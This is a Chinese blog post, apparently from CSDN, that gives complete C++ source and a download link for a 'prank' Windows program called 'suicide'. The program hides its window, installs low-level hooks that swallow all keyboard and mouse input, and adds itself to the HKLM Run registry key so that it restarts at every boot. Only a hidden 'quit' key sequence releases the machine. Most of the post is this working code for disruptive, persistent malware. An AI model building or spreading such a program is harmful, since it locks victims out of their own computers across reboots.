去年写过一个关于键盘钩子控制视频播放的程序,今年偶然想起来都不知道怎么弄的了。
于是,今天又研究了一下。
之前有想过利用它可以写点恶搞的小程序。今天想了想,于是就有了这篇恶搞自杀小程序。
原理比较简单,仅作记录。
首先,创建一个win32控制台程序,申明一个钩子变量和模块句柄变量,分别创建键盘钩子和鼠标钩子:
HHOOK hHook;
HHOOK mouseHook;
HINSTANCE hInstance;
hInstance = (HINSTANCE)::GetModuleHandle(NULL);
//创建键盘钩子
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, NULL);
//创建鼠标钩子
mouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseHook, hInstance, NULL);
然后写键盘钩子和鼠标钩子相应的回调函数,这里我们只要让他们的返回值不为0就能实现对键盘鼠标消息的锁定,其他程序就得不到消息了,动鼠标和键盘会没任何反应!
//鼠标消息响应函数
LRESULT CALLBACK MouseHook(int nCode, WPARAM wParam, LPARAM lParam)
{
//返回非0的数则可以截断次消息
return 1;
}
//键盘消息响应函数,只有在输入"quit"后程序才能退出,不然真的就死定了
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT* pkhs = (KBDLLHOOKSTRUCT*)lParam;
if(nCode == HC_ACTION)
{
if(wParam == WM_KEYUP)
{
if(pkhs->vkCode == 0x51 && password == 0)
password = 1;
if(pkhs->vkCode == 0x55 && password == 1)
password = 2;
if(pkhs->vkCode == 0x49 && password == 2)
password = 3;
if(pkhs->vkCode == 0x54 && password == 3)
exit(-1);
}
}
return 1;
//如果执行下面这一句则可以让其他程序得到键盘消息
// return CallNextHookEx(hHook, nCode, wParam, lParam);
}
可以看到其实我在这里做了一下手脚,按下“quit”程序其实就退出了(不能让自己真的中招啊!)
然后添加消息循环函数和卸载钩子:
MSG msg;
//消息循环
while(::GetMessage(&msg, NULL, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
//卸载钩子
::UnhookWindowsHookEx(hHook);
::UnhookWindowsHookEx(mouseHook);
hHook = NULL;
mouseHook = NULL;
哈哈,这样就基本完成了。
为了更贱一点点。。呵呵,我们可以让程序开机自动启动。。。
在main函数的最前面加上这些就能完成啦,自动写入注册表:
//******把程序写入注册表,加入到自动启动项中,开机就自动启动这个程序了,慎用!!*****//
HKEY hKey;
LSTATUS status = RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),
0, KEY_ALL_ACCESS , &hKey);
if(status != ERROR_SUCCESS)
return -1;
TCHAR filePath[MAX_PATH] = {0};
if(!GetModuleFileName(NULL, filePath, MAX_PATH))
return -1;
status = ::RegSetValueEx(hKey, L"suicide", 0, REG_SZ, (BYTE*)filePath, (wcslen(filePath)+1)*(sizeof(WCHAR) ));
if(status != ERROR_SUCCESS)
return -1;
RegCloseKey(hKey);
//******************************************************//
对了,我们不能让程序出来了,所以隐藏一下控制台的黑框,只用调用一句话:
//去掉控制台黑框
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
哈哈,大功告成了,只要点下这个程序,你就可以安心的去啦,万事无忧!
呃。。。别真的去点啊,点了就悲剧了,程序写进了注册表,鼠标键盘都失效啦,重启程序自动启动啦,真的是死翘翘了。
我可没真去试,不过我想了想,如果谁真的想不开点了这个程序,用PE进系统把程序删掉应该可以解决,完全模式不清楚可不可行。最好别试。
下面是完整的源码:
#include <Windows.h>
//去掉控制台黑框
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
HHOOK hHook;
HHOOK mouseHook;
HINSTANCE hInstance;
static int password = 0;
//鼠标消息响应函数
LRESULT CALLBACK MouseHook(int nCode, WPARAM wParam, LPARAM lParam)
{
//返回非0的数则可以截断次消息
return 1;
}
//键盘消息响应函数,只有在输入"quit"后程序才能退出,不然真的就死定了
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT* pkhs = (KBDLLHOOKSTRUCT*)lParam;
if(nCode == HC_ACTION)
{
if(wParam == WM_KEYUP)
{
if(pkhs->vkCode == 0x51 && password == 0)
password = 1;
if(pkhs->vkCode == 0x55 && password == 1)
password = 2;
if(pkhs->vkCode == 0x49 && password == 2)
password = 3;
if(pkhs->vkCode == 0x54 && password == 3)
exit(-1);
}
}
return 1;
//如果执行下面这一句则可以让其他程序得到键盘消息
// return CallNextHookEx(hHook, nCode, wParam, lParam);
}
int main()
{
//******把程序写入注册表,加入到自动启动项中,开机就自动启动这个程序了,慎用!!*****//
HKEY hKey;
LSTATUS status = RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),
0, KEY_ALL_ACCESS , &hKey);
if(status != ERROR_SUCCESS)
return -1;
TCHAR filePath[MAX_PATH] = {0};
if(!GetModuleFileName(NULL, filePath, MAX_PATH))
return -1;
status = ::RegSetValueEx(hKey, L"suicide", 0, REG_SZ, (BYTE*)filePath, (wcslen(filePath)+1)*(sizeof(WCHAR) ));
if(status != ERROR_SUCCESS)
return -1;
RegCloseKey(hKey);
//******************************************************//
hInstance = (HINSTANCE)::GetModuleHandle(NULL);
//创建键盘钩子
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, NULL);
//创建鼠标钩子
mouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseHook, hInstance, NULL);
MSG msg;
//消息循环
while(::GetMessage(&msg, NULL, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
//卸载钩子
::UnhookWindowsHookEx(hHook);
::UnhookWindowsHookEx(mouseHook);
hHook = NULL;
mouseHook = NULL;
return 0;
}
对了,这个程序运行了,会在启动项里添加自动启动项,只有在注册表里才能删掉,路径如下:
HKEY_LOCAL_MACHINE\Software\Microsoft\Shared Tools\ Msconfig,在里面直接删掉那个程序的文件夹就行了(这里是suicide)。
源码和执行文件下载地址:
http://download.csdn.net/detail/ppandaren/6600995
最后引用泰戈尔的诗句:
愿生如夏花之绚烂,死如秋叶之静美。